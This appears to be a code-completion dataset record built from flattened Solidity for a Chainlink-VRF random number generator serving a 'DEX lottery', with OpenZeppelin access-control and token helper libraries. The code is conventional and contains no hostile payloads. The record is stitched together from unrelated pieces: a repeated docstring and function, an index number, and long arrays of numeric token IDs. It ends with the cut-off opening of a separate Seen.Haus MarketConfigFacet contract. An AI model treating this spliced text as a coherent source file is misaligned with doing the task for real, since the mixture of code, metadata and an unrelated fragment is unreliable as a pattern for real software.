* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol
pragma solidity ^0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @chainlink/contracts/src/v0.8/interfaces/LinkTokenInterface.sol
pragma solidity ^0.8.0;
interface LinkTokenInterface {
function allowance(address owner, address spender) external view returns (uint256 remaining);
function approve(address spender, uint256 value) external returns (bool success);
function balanceOf(address owner) external view returns (uint256 balance);
function decimals() external view returns (uint8 decimalPlaces);
function decreaseApproval(address spender, uint256 addedValue) external returns (bool success);
function increaseApproval(address spender, uint256 subtractedValue) external;
function name() external view returns (string memory tokenName);
function symbol() external view returns (string memory tokenSymbol);
function totalSupply() external view returns (uint256 totalTokensIssued);
function transfer(address to, uint256 value) external returns (bool success);
function transferAndCall(
address to,
uint256 value,
bytes calldata data
) external returns (bool success);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool success);
}
// File: @chainlink/contracts/src/v0.8/dev/VRFRequestIDBase.sol
pragma solidity ^0.8.0;
contract VRFRequestIDBase {
/**
* @notice returns the seed which is actually input to the VRF coordinator
*
* @dev To prevent repetition of VRF output due to repetition of the
* @dev user-supplied seed, that seed is combined in a hash with the
* @dev user-specific nonce, and the address of the consuming contract. The
* @dev risk of repetition is mostly mitigated by inclusion of a blockhash in
* @dev the final seed, but the nonce does protect against repetition in
* @dev requests which are included in a single block.
*
* @param _userSeed VRF seed input provided by user
* @param _requester Address of the requesting contract
* @param _nonce User-specific nonce at the time of the request
*/
function makeVRFInputSeed(
bytes32 _keyHash,
uint256 _userSeed,
address _requester,
uint256 _nonce
) internal pure returns (uint256) {
return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce)));
}
/**
* @notice Returns the id for this request
* @param _keyHash The serviceAgreement ID to be used for this request
* @param _vRFInputSeed The seed to be passed directly to the VRF
* @return The id for this request
*
* @dev Note that _vRFInputSeed is not the seed passed by the consuming
* @dev contract, but the one generated by makeVRFInputSeed
*/
function makeRequestId(bytes32 _keyHash, uint256 _vRFInputSeed) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed));
}
}
// File: @chainlink/contracts/src/v0.8/dev/VRFConsumerBase.sol
pragma solidity ^0.8.0;
/** ****************************************************************************
* @notice Interface for contracts using VRF randomness
* *****************************************************************************
* @dev PURPOSE
*
* @dev Reggie the Random Oracle (not his real job) wants to provide randomness
* @dev to Vera the verifier in such a way that Vera can be sure he's not
* @dev making his output up to suit himself. Reggie provides Vera a public key
* @dev to which he knows the secret key. Each time Vera provides a seed to
* @dev Reggie, he gives back a value which is computed completely
* @dev deterministically from the seed and the secret key.
*
* @dev Reggie provides a proof by which Vera can verify that the output was
* @dev correctly computed once Reggie tells it to her, but without that proof,
* @dev the output is indistinguishable to her from a uniform random sample
* @dev from the output space.
*
* @dev The purpose of this contract is to make it easy for unrelated contracts
* @dev to talk to Vera the verifier about the work Reggie is doing, to provide
* @dev simple access to a verifiable source of randomness.
* *****************************************************************************
* @dev USAGE
*
* @dev Calling contracts must inherit from VRFConsumerBase, and can
* @dev initialize VRFConsumerBase's attributes in their constructor as
* @dev shown:
*
* @dev contract VRFConsumer {
* @dev constuctor(<other arguments>, address _vrfCoordinator, address _link)
* @dev VRFConsumerBase(_vrfCoordinator, _link) public {
* @dev <initialization with other arguments goes here>
* @dev }
* @dev }
*
* @dev The oracle will have given you an ID for the VRF keypair they have
* @dev committed to (let's call it keyHash), and have told you the minimum LINK
* @dev price for VRF service. Make sure your contract has sufficient LINK, and
* @dev call requestRandomness(keyHash, fee, seed), where seed is the input you
* @dev want to generate randomness from.
*
* @dev Once the VRFCoordinator has received and validated the oracle's response
* @dev to your request, it will call your contract's fulfillRandomness method.
*
* @dev The randomness argument to fulfillRandomness is the actual random value
* @dev generated from your seed.
*
* @dev The requestId argument is generated from the keyHash and the seed by
* @dev makeRequestId(keyHash, seed). If your contract could have concurrent
* @dev requests open, you can use the requestId to track which seed is
* @dev associated with which randomness. See VRFRequestIDBase.sol for more
* @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind,
* @dev if your contract could have multiple requests in flight simultaneously.)
*
* @dev Colliding `requestId`s are cryptographically impossible as long as seeds
* @dev differ. (Which is critical to making unpredictable randomness! See the
* @dev next section.)
*
* *****************************************************************************
* @dev SECURITY CONSIDERATIONS
*
* @dev A method with the ability to call your fulfillRandomness method directly
* @dev could spoof a VRF response with any random value, so it's critical that
* @dev it cannot be directly called by anything other than this base contract
* @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method).
*
* @dev For your users to trust that your contract's random behavior is free
* @dev from malicious interference, it's best if you can write it so that all
* @dev behaviors implied by a VRF response are executed *during* your
* @dev fulfillRandomness method. If your contract must store the response (or
* @dev anything derived from it) and use it later, you must ensure that any
* @dev user-significant behavior which depends on that stored value cannot be
* @dev manipulated by a subsequent VRF request.
*
* @dev Similarly, both miners and the VRF oracle itself have some influence
* @dev over the order in which VRF responses appear on the blockchain, so if
* @dev your contract could have multiple VRF requests in flight simultaneously,
* @dev you must ensure that the order in which the VRF responses arrive cannot
* @dev be used to manipulate your contract's user-significant behavior.
*
* @dev Since the ultimate input to the VRF is mixed with the block hash of the
* @dev block in which the request is made, user-provided seeds have no impact
* @dev on its economic security properties. They are only included for API
* @dev compatability with previous versions of this contract.
*
* @dev Since the block hash of the block which contains the requestRandomness
* @dev call is mixed into the input to the VRF *last*, a sufficiently powerful
* @dev miner could, in principle, fork the blockchain to evict the block
* @dev containing the request, forcing the request to be included in a
* @dev different block with a different hash, and therefore a different input
* @dev to the VRF. However, such an attack would incur a substantial economic
* @dev cost. This cost scales with the number of blocks the VRF oracle waits
* @dev until it calls responds to a request.
*/
abstract contract VRFConsumerBase is VRFRequestIDBase {
/**
* @notice fulfillRandomness handles the VRF response. Your contract must
* @notice implement it. See "SECURITY CONSIDERATIONS" above for important
* @notice principles to keep in mind when implementing your fulfillRandomness
* @notice method.
*
* @dev VRFConsumerBase expects its subcontracts to have a method with this
* @dev signature, and will call it once it has verified the proof
* @dev associated with the randomness. (It is triggered via a call to
* @dev rawFulfillRandomness, below.)
*
* @param requestId The Id initially returned by requestRandomness
* @param randomness the VRF output
*/
function fulfillRandomness(bytes32 requestId, uint256 randomness) internal virtual;
/**
* @notice requestRandomness initiates a request for VRF output given _seed
*
* @dev The fulfillRandomness method receives the output, once it's provided
* @dev by the Oracle, and verified by the vrfCoordinator.
*
* @dev The _keyHash must already be registered with the VRFCoordinator, and
* @dev the _fee must exceed the fee specified during registration of the
* @dev _keyHash.
*
* @dev The _seed parameter is vestigial, and is kept only for API
* @dev compatibility with older versions. It can't *hurt* to mix in some of
* @dev your own randomness, here, but it's not necessary because the VRF
* @dev oracle will mix the hash of the block containing your request into the
* @dev VRF seed it ultimately uses.
*
* @param _keyHash ID of public key against which randomness is generated
* @param _fee The amount of LINK to send with the request
* @param _seed seed mixed into the input of the VRF.
*
* @return requestId unique ID for this request
*
* @dev The returned requestId can be used to distinguish responses to
* @dev concurrent requests. It is passed as the first argument to
* @dev fulfillRandomness.
*/
function requestRandomness(
bytes32 _keyHash,
uint256 _fee,
uint256 _seed
) internal returns (bytes32 requestId) {
LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, _seed));
// This is the seed passed to VRFCoordinator. The oracle will mix this with
// the hash of the block containing this request to obtain the seed/input
// which is finally passed to the VRF cryptographic machinery.
uint256 vRFSeed = makeVRFInputSeed(_keyHash, _seed, address(this), nonces[_keyHash]);
// nonces[_keyHash] must stay in sync with
// VRFCoordinator.nonces[_keyHash][this], which was incremented by the above
// successful LINK.transferAndCall (in VRFCoordinator.randomnessRequest).
// This provides protection against the user repeating their input seed,
// which would result in a predictable/duplicate output, if multiple such
// requests appeared in the same block.
nonces[_keyHash] = nonces[_keyHash] + 1;
return makeRequestId(_keyHash, vRFSeed);
}
LinkTokenInterface internal immutable LINK;
address private immutable vrfCoordinator;
// Nonces for each VRF key from which randomness has been requested.
//
// Must stay in sync with VRFCoordinator[_keyHash][this]
mapping(bytes32 => uint256) /* keyHash */ /* nonce */
private nonces;
/**
* @param _vrfCoordinator address of VRFCoordinator contract
* @param _link address of LINK token contract
*
* @dev https://docs.chain.link/docs/link-token-contracts
*/
constructor(address _vrfCoordinator, address _link) {
vrfCoordinator = _vrfCoordinator;
LINK = LinkTokenInterface(_link);
}
// rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF
// proof. rawFulfillRandomness then calls fulfillRandomness, after validating
// the origin of the call
function rawFulfillRandomness(bytes32 requestId, uint256 randomness) external {
require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill");
fulfillRandomness(requestId, randomness);
}
}
// File: contracts/interfaces/IRandomNumberGenerator.sol
pragma solidity ^0.8.4;
interface IRandomNumberGenerator {
/**
* Requests randomness from a user-provided seed
*/
function getRandomNumber(uint256 _seed) external;
/**
* View latest lotteryId numbers
*/
function viewLatestLotteryId() external view returns (uint256);
/**
* Views random result
*/
function viewRandomResult() external view returns (uint32);
}
// File: contracts/interfaces/IDEXLottery.sol
pragma solidity ^0.8.4;
interface IDEXLottery {
/**
* @notice Buy tickets for the current lottery
* @param _lotteryId: lotteryId
* @param _ticketNumbers: array of ticket numbers between 1,000,000 and 1,999,999
* @dev Callable by users
*/
function buyTickets(uint256 _lotteryId, uint32[] calldata _ticketNumbers) external;
/**
* @notice Claim a set of winning tickets for a lottery
* @param _lotteryId: lottery id
* @param _ticketIds: array of ticket ids
* @param _brackets: array of brackets for the ticket ids
* @dev Callable by users only, not contract!
*/
function claimTickets(
uint256 _lotteryId,
uint256[] calldata _ticketIds,
uint32[] calldata _brackets
) external;
/**
* @notice Close lottery
* @param _lotteryId: lottery id
* @dev Callable by operator
*/
function closeLottery(uint256 _lotteryId) external;
/**
* @notice Draw the final number, calculate reward in DEXToken per group, and make lottery claimable
* @param _lotteryId: lottery id
* @param _autoInjection: reinjects funds into next lottery (vs. withdrawing all)
* @dev Callable by operator
*/
function drawFinalNumberAndMakeLotteryClaimable(uint256 _lotteryId, bool _autoInjection) external;
/**
* @notice Inject funds
* @param _lotteryId: lottery id
* @param _amount: amount to inject in DEXToken token
* @dev Callable by operator
*/
function injectFunds(uint256 _lotteryId, uint256 _amount) external;
/**
* @notice Start the lottery
* @dev Callable by operator
* @param _endTime: endTime of the lottery
* @param _priceTicketInDexToken: price of a ticket in DEXToken
* @param _discountDivisor: the divisor to calculate the discount magnitude for bulks
* @param _rewardsBreakdown: breakdown of rewards per bracket (must sum to 10,000)
* @param _treasuryFee: treasury fee (10,000 = 100%, 100 = 1%)
*/
function startLottery(
uint256 _endTime,
uint256 _priceTicketInDexToken,
uint256 _discountDivisor,
uint256[6] calldata _rewardsBreakdown,
uint256 _treasuryFee
) external;
/**
* @notice View current lottery id
*/
function viewCurrentLotteryId() external returns (uint256);
}
// File: contracts/RandomNumberGenerator.sol
pragma solidity ^0.8.4;
contract RandomNumberGenerator is VRFConsumerBase, IRandomNumberGenerator, Ownable {
using SafeERC20 for IERC20;
address public DEXLottery;
bytes32 public keyHash;
bytes32 public latestRequestId;
uint32 public randomResult;
uint256 public fee;
uint256 public latestLotteryId;
/**
* @notice Constructor
* @dev RandomNumberGenerator must be deployed before the lottery.
* Once the lottery contract is deployed, setLotteryAddress must be called.
* https://docs.chain.link/docs/vrf-contracts/
* @param _vrfCoordinator: address of the VRF coordinator
* @param _linkToken: address of the LINK token
*/
constructor(address _vrfCoordinator, address _linkToken) VRFConsumerBase(_vrfCoordinator, _linkToken) {
//
}
/**
* @notice Request randomness from a user-provided seed
* @param _seed: seed provided by the DEX lottery
*/
function getRandomNumber(uint256 _seed) external override {
require(msg.sender == DEXLottery, "Only DEXLottery");
require(keyHash != bytes32(0), "Must have valid key hash");
require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK tokens");
latestRequestId = requestRandomness(keyHash, fee, _seed);
}
/**
* @notice Change the fee
* @param _fee: new fee (in LINK)
*/
function setFee(uint256 _fee) external onlyOwner {
fee = _fee;
}
/**
* @notice Change the keyHash
* @param _keyHash: new keyHash
*/
function setKeyHash(bytes32 _keyHash) external onlyOwner {
keyHash = _keyHash;
}
/**
* @notice Set the address for the DEXLottery
* @param _DEXLottery: address of the DEX lottery
*/
function setLotteryAddress(address _DEXLottery) external onlyOwner {
DEXLottery = _DEXLottery;
}
/**
* @notice It allows the admin to withdraw tokens sent to the contract
* @param _tokenAddress: the address of the token to withdraw
* @param _tokenAmount: the number of token amount to withdraw
* @dev Only callable by owner.
*/
function withdrawTokens(address _tokenAddress, uint256 _tokenAmount) external onlyOwner {
IERC20(_tokenAddress).safeTransfer(address(msg.sender), _tokenAmount);
}
/**
* @notice View latestLotteryId
*/
function viewLatestLotteryId() external view override returns (uint256) {
return latestLotteryId;
}
/**
* @notice View random result
*/
function viewRandomResult() external view override returns (uint32) {
return randomResult;
}
/**
* @notice Callback function used by ChainLink's VRF Coordinator
*/
function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
require(latestRequestId == requestId, "Wrong requestId");
randomResult = uint32(1000000 + (randomness % 1000000));
latestLotteryId = IDEXLottery(DEXLottery).viewCurrentLotteryId();
}
}
|
* @notice Request randomness from a user-provided seed @param _seed: seed provided by the DEX lottery/
|
function getRandomNumber(uint256 _seed) external override {
require(msg.sender == DEXLottery, "Only DEXLottery");
require(keyHash != bytes32(0), "Must have valid key hash");
require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK tokens");
latestRequestId = requestRandomness(keyHash, fee, _seed);
}
| 6,321,534 |
[
1,
691,
2744,
4496,
628,
279,
729,
17,
29206,
5009,
225,
389,
12407,
30,
5009,
2112,
635,
326,
2030,
60,
17417,
387,
93,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
20581,
1854,
12,
11890,
5034,
389,
12407,
13,
3903,
3849,
288,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
2030,
23668,
352,
387,
93,
16,
315,
3386,
2030,
23668,
352,
387,
93,
8863,
203,
3639,
2583,
12,
856,
2310,
480,
1731,
1578,
12,
20,
3631,
315,
10136,
1240,
923,
498,
1651,
8863,
203,
3639,
2583,
12,
10554,
18,
12296,
951,
12,
2867,
12,
2211,
3719,
1545,
14036,
16,
315,
1248,
7304,
22926,
2430,
8863,
203,
203,
3639,
4891,
15493,
273,
590,
8529,
4496,
12,
856,
2310,
16,
14036,
16,
389,
12407,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
import "../../../interfaces/IMarketController.sol";
import "../../../interfaces/IMarketConfig.sol";
import "../../../interfaces/IMarketClerk.sol";
import "../../diamond/DiamondLib.sol";
import "../MarketControllerBase.sol";
import "../MarketControllerLib.sol";
/**
* @title MarketConfigFacet
*
* @notice Provides centralized management of various market-related settings.
*
* @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows)
*/
contract MarketConfigFacet is IMarketConfig, MarketControllerBase {
/**
* @dev Modifier to protect initializer function from being invoked twice.
*/
modifier onlyUnInitialized()
{
MarketControllerLib.MarketControllerInitializers storage mci = MarketControllerLib.marketControllerInitializers();
require(!mci.configFacet, "Initializer: contract is already initialized");
mci.configFacet = true;
_;
}
/**
* @notice Facet Initializer
*
* @param _staking - Seen.Haus staking contract
* @param _multisig - Seen.Haus multi-sig wallet
* @param _vipStakerAmount - the minimum amount of xSEEN ERC-20 a caller must hold to participate in VIP events
* @param _primaryFeePercentage - percentage that will be taken as a fee from the net of a Seen.Haus primary sale or auction
* @param _secondaryFeePercentage - percentage that will be taken as a fee from the net of a Seen.Haus secondary sale or auction (after royalties)
* @param _maxRoyaltyPercentage - maximum percentage of a Seen.Haus sale or auction that will be paid as a royalty
* @param _outBidPercentage - minimum percentage a Seen.Haus auction bid must be above the previous bid to prevail
* @param _defaultTicketerType - which ticketer type to use if none has been specified for a given consignment
*/
function initialize(
address payable _staking,
address payable _multisig,
uint256 _vipStakerAmount,
